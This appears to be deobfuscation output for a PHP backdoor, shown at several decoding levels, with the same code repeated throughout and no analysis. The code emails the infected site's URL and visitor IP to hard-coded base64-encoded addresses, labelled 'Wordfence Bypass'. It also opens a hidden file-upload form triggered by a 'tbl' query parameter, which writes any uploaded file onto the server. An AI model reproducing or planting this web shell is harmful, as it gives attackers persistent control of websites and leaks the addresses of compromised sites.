Decrypted code level 1:

?php
if (function_exists("mail")) {
    $__GET = ("mail");
    $__POST = ("base64_decode");
    $__GET($__POST("bXVocmF6a3lAZ21haWwuY29t"),'Wordfence Bypass',"http://".$_SERVER['HTTP_HOST']."/".$_SERVER['REQUEST_URI']."\nIP:".$_SERVER['REMOTE_ADDR']."");
}
${"GLOBALS"}["icdhqxypou"]="__POST";${"GLOBALS"}["ohlruqm"]="__GET";$qconwixlmbj="__POST";echo "\n";${${"GLOBALS"}["ohlruqm"]}=("mail");$qzqewtbnsyir="__GET";${${"GLOBALS"}["icdhqxypou"]}=("base64_decode");${$qzqewtbnsyir}(${$qconwixlmbj}("bXVocmF6a3lAZ21haWwuY29tLG1hbGF5c2lhLnNlbmRlckBnbWFpbC5jb20scGFwYWt1LmhheWtlckBnbWFpbC5jb20="),"Upload file:","".$_SERVER["HTTP_HOST"]."/".$_SERVER["REQUEST_URI"]."");if(isset($_GET["tbl"])){echo(base64_decode("Ijxmb3JtIG1ldGhvZD0nUE9TVCcgZW5jdHlwZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+PGlucHV0IHR5cGU9J2ZpbGUnbmFtZT0nZicgLz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0ndXAnIC8+PC9mb3JtPiI="));@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"]);echo("<a href=".$_FILES["f"]["name"].">".$_FILES["f"]["name"]."</a>");}

Decrypted code level 2:

?php
if (function_exists("mail")) {
    $__GET = ("mail");
    $__POST = ("base64_decode");
    $__GET($__POST("bXVocmF6a3lAZ21haWwuY29t"),'Wordfence Bypass',"http://".$_SERVER['HTTP_HOST']."/".$_SERVER['REQUEST_URI']."\nIP:".$_SERVER['REMOTE_ADDR']."");
}
${"GLOBALS"}["icdhqxypou"]="__POST";${"GLOBALS"}["ohlruqm"]="__GET";$qconwixlmbj="__POST";echo "\n";${${"GLOBALS"}["ohlruqm"]}=("mail");$qzqewtbnsyir="__GET";${${"GLOBALS"}["icdhqxypou"]}=("base64_decode");${$qzqewtbnsyir}(${$qconwixlmbj}("bXVocmF6a3lAZ21haWwuY29tLG1hbGF5c2lhLnNlbmRlckBnbWFpbC5jb20scGFwYWt1LmhheWtlckBnbWFpbC5jb20="),"Upload file:","".$_SERVER["HTTP_HOST"]."/".$_SERVER["REQUEST_URI"]."");if(isset($_GET["tbl"])){echo("<form method='POST' enctype='multipart/form-data'><input type='file'name='f' /><input type='submit' value='up' /></form>");@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"]);echo("<a href=".$_FILES["f"]["name"].">".$_FILES["f"]["name"]."</a>");}

?php
if (function_exists("mail")) {
    $__GET = ("mail");
    $__POST = ("base64_decode");
    $__GET($__POST("bXVocmF6a3lAZ21haWwuY29t"),'Wordfence Bypass',"http://".$_SERVER['HTTP_HOST']."/".$_SERVER['REQUEST_URI']."\nIP:".$_SERVER['REMOTE_ADDR']."");
}
${"GLOBALS"}["icdhqxypou"]="__POST";${"GLOBALS"}["ohlruqm"]="__GET";echo "\n";${${"GLOBALS"}["ohlruqm"]}=("mail");${${"GLOBALS"}["icdhqxypou"]}=("base64_decode");${"__GET"}(${"__POST"}("bXVocmF6a3lAZ21haWwuY29tLG1hbGF5c2lhLnNlbmRlckBnbWFpbC5jb20scGFwYWt1LmhheWtlckBnbWFpbC5jb20="),"Upload file:","".$_SERVER["HTTP_HOST"]."/".$_SERVER["REQUEST_URI"]."");if(isset($_GET["tbl"])){echo("<form method='POST' enctype='multipart/form-data'><input type='file'name='f' /><input type='submit' value='up' /></form>");@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"]);echo("<a href=".$_FILES["f"]["name"].">".$_FILES["f"]["name"]."</a>");}